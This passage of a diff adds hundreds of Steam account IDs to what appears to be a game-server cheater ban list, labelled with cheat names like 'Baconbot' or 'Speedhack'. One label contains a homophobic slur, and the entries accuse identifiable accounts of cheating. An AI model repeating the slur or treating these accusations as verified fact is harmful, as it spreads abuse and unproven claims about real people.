["STEAM_0:0:21637306"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25501713"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34751131"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17923798"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21811225"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32746717"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:1935714"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:7284366"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19435187"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33868394"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28678043"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14779884"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22741582"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23771178"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24885700"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25269733"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24426180"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22477608"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:43169141"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24770504"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37358018"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33170724"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31885050"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21662637"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22389319"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33080070"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:6076962"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20053939"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19760401"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29757878"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24580800"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22525203"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22622610"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30555695"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:7477515"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:9146794"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26652690"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10878265"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17058129"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40953424"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:3935205"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40582200"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33679189"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15521503"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:6481332"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23587245"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24696322"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18112710"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40467009"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14434783"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18768120"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:16892217"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18232542"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:11861569"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10203347"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19516690"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33716553"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29186751"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32857383"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:44383450"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26857452"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19681809"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29532918"] = {Name = "banlist: ", Skid = true}, + + ["STEAM_0:1:14228891"] = {Skid = true}, + ["STEAM_0:0:46298023"] = {Skid = true}, + ["STEAM_0:1:21099910"] = {Name = "GBot", Skid = true}, + ["STEAM_0:1:18891981"] = {Name = "GBot", Skid = true}, + ["STEAM_0:1:11268197"] = {Name = "bobslavko", Skid = true}, + ["STEAM_0:0:32924658"] = {Name = "pd", Skid = true}, + ["STEAM_0:1:26087573"] = {Name = "joker1277", Skid = true}, + ["STEAM_0:0:46022902"] = {Name = "xdfreestylerxd", Skid = true}, + ["STEAM_0:0:34634499"] = {Name = "dontthinkaboutitdude", Skid = true}, + ["STEAM_0:0:47633979"] = {Name = "fr1kingmod_css", Skid = true}, + ["STEAM_0:0:45250716"] = {Name = "mtm96", Skid = true}, + ["STEAM_0:1:45224638"] = {Name = "mhock103", Skid = true}, + ["STEAM_0:0:20471483"] = {Name = "p00ner69", Skid = true}, + ["STEAM_0:1:41093469"] = {Name = "portal2rockers1", Skid = true}, + ["STEAM_0:1:38388487"] = {Name = "monstermn96", Skid = true}, + ["STEAM_0:1:46580991"] = {Name = "zombie13371", Skid = true}, + ["STEAM_0:0:39125498"] = {Name = "insertnamehere_2", Skid = true}, + ["STEAM_0:0:43372066"] = {Name = "SP2: lix", Skid = true}, + ["STEAM_0:0:33443787"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:36131576"] = {Name = "SP2: zbot", Skid = true}, + ["STEAM_0:1:20026079"] = {Name = "SP2: Odius", Skid = true}, + ["STEAM_0:1:13014240"] = {Name = "SP2: Mydik", Skid = true}, + ["STEAM_0:0:5226387"] = {Name = "SP2: speedhack", Skid = true}, + ["STEAM_0:0:5979318"] = {Name = "SP2: Whip it good", Skid = true}, + ["STEAM_0:1:17749887"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:37681134"] = {Name = "SP2: CubHack", Skid = true}, + ["STEAM_0:1:22597435"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:28871977"] = {Name = "SP2: Speedhack", Skid = true}, + ["STEAM_0:0:25295126"] = {Name = "SP2: Mydik", Skid = true}, + ["STEAM_0:1:29812493"] = {Name = "SP2: tame", Skid = true}, + ["STEAM_0:0:9643377"] = {Name = "SP2: Speedhack", Skid = true}, + ["STEAM_0:1:34174066"] = {Name = "SP2: coma", Skid = true}, + ["STEAM_0:1:12209165"] = {Name = "SP2: Hermes", Skid = true}, + ["STEAM_0:0:33459537"] = {Name = "SP2: rc/rf", Skid = true}, + ["STEAM_0:1:17629619"] = {Name = "SP2: Isis", Skid = true}, + ["STEAM_0:1:33659672"] = {Name = "SP2: elebot", Skid = true}, + ["STEAM_0:1:20810532"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:6427907"] = {Name = "SP2: Aspergers", Skid = true}, + ["STEAM_0:0:2255757"] = {Name = "SP2: Mydik", Skid = true}, + ["STEAM_0:0:1194255"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:18227696"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:32982037"] = {Name = "SP2: CubHack", Skid = true}, + ["STEAM_0:1:1439351"] = {Name = "SP2: herpes", Skid = true}, + ["STEAM_0:1:3176600"] = {Name = "SP2: Mydik", Skid = true}, + ["STEAM_0:1:21523239"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:3176600"] = {Name = "SP2: Mydik", Skid = true}, + ["STEAM_0:1:21523239"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:21479539"] = {Name = "SP2: coma", Skid = true}, + ["STEAM_0:1:44511758"] = {Name = "SP2: lix", Skid = true}, + ["STEAM_0:0:40146815"] = {Name = "SP2: mfsp", Skid = true}, + ["STEAM_0:0:15521306"] = {Name = "SP2: Convar forcing", Skid = true}, + ["STEAM_0:0:19735449"] = {Name = "SP2: Litebotgarry", Skid = true}, + ["STEAM_0:0:13388289"] = {Name = "SP2: Eradicate", Skid = true}, + ["STEAM_0:1:17286464"] = {Name = "SP2: coma", Skid = true}, + ["STEAM_0:1:40407825"] = {Name = "SP2: hh", Skid = true}, + ["STEAM_0:0:29999073"] = {Name = "SP2: monsterhack", Skid = true}, + ["STEAM_0:0:29437358"] = {Name = "SP2: LHM", Skid = true}, + ["STEAM_0:0:20220663"] = {Name = "SP2: speedhack", Skid = true}, + ["STEAM_0:1:34176202"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:21553359"] = {Name = "SP2: elebot", Skid = true}, + ["STEAM_0:0:16018224"] = {Name = "SP2: Convar forcing", Skid = true}, + ["STEAM_0:1:10569351"] = {Name = "SP2: Eradicate", Skid = true}, + ["STEAM_0:1:37543716"] = {Name = "SP2: Inkbot", Skid = true}, + ["STEAM_0:1:2826106"] = {Name = "SP2: int", Skid = true}, + ["STEAM_0:1:421861172"] = {Name = "SP2: Speedhack", Skid = true}, + ["STEAM_0:0:15726896"] = {Name = "SP2: Inkbot", Skid = true}, + ["STEAM_0:1:16421568"] = {Name = "SP2: Convar forcing", Skid = true}, + ["STEAM_0:1:17267267"] = {Name = "SP2: Inkbot", Skid = true}, + ["STEAM_0:1:29640664"] = {Name = "SP2: coma", Skid = true}, + ["STEAM_0:0:32070437"] = {Name = "SP2: faggot (poki)", Skid = true}, + ["STEAM_0:0:16499611"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:3992689"] = {Name = "SP2: LHM", Skid = true}, + ["STEAM_0:0:34092283"] = {Name = "SP2: Gooberhack", Skid = true}, + ["STEAM_0:0:19321794"] = {Name = "SP2: Convar forcing", Skid = true}, + ["STEAM_0:0:19248793"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:14928653"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:19338100"] = {Name = "SP2: coma", Skid = true}, + ["STEAM_0:1:11769924"] = {Name = "SP2: coma", Skid = true}, + ["STEAM_0:0:19648713"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:25757548"] = {Name = "SP2: Eradicate", Skid = true}, + ["STEAM_0:0:34111703"] = {Name = "SP2: lix", Skid = true}, + ["STEAM_0:1:35738339"] = {Name = "SP2: gbot,eradicate,gbot3", Skid = true}, + ["STEAM_0:1:9011787"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:29226146"] = {Name = "SP2: CubHack", Skid = true}, + ["STEAM_0:0:19531733"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:17574951"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:16042279"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:33488877"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:25369713"] = {Name = "SP2: Convar forcing", Skid = true}, + ["STEAM_0:1:22111898"] = {Name = "SP2: Convar forcing", Skid = true}, + ["STEAM_0:1:15404351"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:13908513"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:13100739"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:22247737"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:30764583"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:30626912"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:18952303"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:30046997"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:11680407"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:19957547"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:22038220"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:20651275"] = {Name = "SP2: Neon", Skid = true}, + ["STEAM_0:0:49963094"] = {Name = "SP2: isis", Skid = true}, + ["STEAM_0:1:18361092"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:43680205"] = {Name = "SP2: gbot", Skid = true}, + ["STEAM_0:1:1198860"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:15029381"] = {Name = "SP2: Whip it good", Skid = true}, + ["STEAM_0:0:22914080"] = {Name = "SP2: Convar forcing", Skid = true}, + ["STEAM_0:0:21513525"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:22748305"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:31767822"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:13196020"] = {Name = "SP2: Eradicate", Skid = true}, + ["STEAM_0:1:27526575"] = {Name = "SP2: Odius", Skid = true}, + ["STEAM_0:1:9750737"] = {Name = "SP2: Convar forcing", Skid = true}, + ["STEAM_0:0:24419439"] = {Name = "SP2: isis", Skid = true}, + ["STEAM_0:0:21760599"] = {Name = "SP2: coma", Skid = true}, + ["STEAM_0:0:49791119"] = {Name = "SP2: hh", Skid = true}, + ["STEAM_0:1:20789337"] = {Name = "SP2: Hermes", Skid = true}, + ["STEAM_0:0:15446164"] = {Name = "SP2: Hermes", Skid = true}, + ["STEAM_0:1:18811312"] = {Name = "SP2: SySHack", Skid = true}, + ["STEAM_0:0:23403890"] = {Name = "SP2: Mydik", Skid = true}, + ["STEAM_0:0:36250162"] = {Name = "SP2: Eradicate", Skid = true}, + ["STEAM_0:1:39052921"] = {Name = "SP2: isis", Skid = true}, + ["STEAM_0:1:11650863"] = {Name = "SP2: Coma", Skid = true}, + ["STEAM_0:1:12018844"] = {Name = "SP2: isis", Skid = true}, + ["STEAM_0:0:41307538"] = {Name = "SP2: tame", Skid = true}, + ["STEAM_0:0:14073219"] = {Name = "SP2: Convar forcing", Skid = true}, + ["STEAM_0:0:19811962"] = {Name = "SP2: Inkbot", Skid = true}, + ["STEAM_0:1:19354830"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:19617520"] = {Name = "SP2: elebot", Skid = true}, + ["STEAM_0:1:16212076"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:13709339"] = {Name = "SP2: LHM", Skid = true}, + ["STEAM_0:0:40897007"] = {Name = "SP2: isis", Skid = true}, + ["STEAM_0:1:43651259"] = {Name = "SP2: neon", Skid = true}, + ["STEAM_0:0:14891104"] = {Name = "SP2: Convar forcing", Skid = true}, + ["STEAM_0:0:26637072"] = {Name = "SP2: Herpaflerp", Skid = true}, + ["STEAM_0:1:19839009"] = {Name = "SP2: NeonHack", Skid = true}, + ["STEAM_0:1:42084743"] = {Name = "SP2: Gooberhack", Skid = true}, + ["STEAM_0:1:19748919"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:14239923"] = {Name = "SP2: Inkbot", Skid = true}, + ["STEAM_0:1:15801351"] = {Name = "SP2: coma", Skid = true}, + ["STEAM_0:0:5305833"] = {Name = "SP2: Pees", Skid = true}, + ["STEAM_0:1:30286410"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:19732775"] = {Name = "SP2: Ph0ne", Skid = true}, + + ["STEAM_0:0:42087122"] = {Name = "Dummy", Skid = true}, + ["STEAM_0:1:19493408"] = {Name = "thom5000", Skid = true}, + ["STEAM_0:0:33707387"] = {Name = "isaacljw", Skid = true}, + ["STEAM_0:1:43926069"] = {Name = "willlewald", Skid = true}, + ["STEAM_0:0:13654123"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:16013505"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:29419597"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:19957547"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:23450064"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:17974341"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:23394524"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:5888158"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:15964800"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:23802327"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:21537171"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:13102653"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:15260946"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:18008485"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:19320845"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:29540215"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:12070486"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:145833"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:13684157"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:24049073"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:25793464"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:20693998"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:20314230"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:8996978"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:26863512"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:15707553"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:22023213"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:23598848"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:22277087"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:25470945"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:15967897"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:32073049"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:20524414"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:21715675"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:23483098"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:19338176"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:18526416"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:25937591"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:12116637"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:14275408"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:14930281"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:18515312"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:16280695"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:24332877"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:20594155"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:8747451"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:18251944"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:11801739"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:19143145"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:14928653"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:29736286"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:13388289"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:22018370"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:26306543"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:31199105"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:25853318"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:22796008"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:30235472"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:26188522"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:24772830"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:21672486"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:20850528"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:34536928"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:15365193"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:19611559"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:18952303"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:30734457"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:30742789"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:28444196"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:21792834"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:29034189"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:14638998"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:15001746"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:22101721"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:14729927"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:23430296"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:16559388"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:11318359"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:28088567"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:18530428"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:20638433"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:19022425"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:8343226"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:18717157"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:21352789"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:2826106"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:18863849"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:28954750"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:11991698"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:6055923"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:34043173"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:26421335"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:29527943"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:6069271"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:28842484"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:3892291"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:29704780"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:18079418"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:25838428"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:35173535"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:36250162"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:26391187"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:20697019"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:16042279"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:26079381"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:15943832"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:27973261"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:26282096"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:27084623"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:22306144"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:23545968"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:20625608"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:14237925"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:29121980"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:18785352"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:22894915"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:39039868"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:17022723"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:39629884"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:8827958"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:8164095"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:22110511"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:15625147"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:17549774"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:29088378"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:38270510"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:26758572"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:36525933"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:19084184"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:26565688"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:28567902"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:27294174"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:23162552"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:29246427"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:39054245"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:27508955"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:18431221"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:15575003"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:19862494"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:16552330"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:17466639"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:16954089"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:29071053"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:39537032"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:11399170"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:34569791"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:21480249"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:42867562"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:42015218"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:39979684"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:19913216"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:31549495"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:22783160"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:42626752"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:30786563"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:43197919"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:43221644"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:12381203"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:33823059"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:37601395"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:40065987"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:23063525"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:9661282"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:32803221"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:10418914"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:12543005"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:46676890"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:42297594"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:11481020"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:37729802"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:38654884"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:31336428"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:26110028"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:18259561"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:21853299"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:39010277"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:44106339"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:29438542"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:27083822"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:24822120"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:19839009"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:41768174"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:35572746"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:17001295"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:35634247"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:44780095"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:21003752"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:22948301"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:15734699"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:23748086"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:43296195"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:18797662"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:46476374"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:39170916"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:48358744"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:35744408"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:33763522"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:43100738"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:39187983"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:40146815"] = {Name = "Blackops", Skid 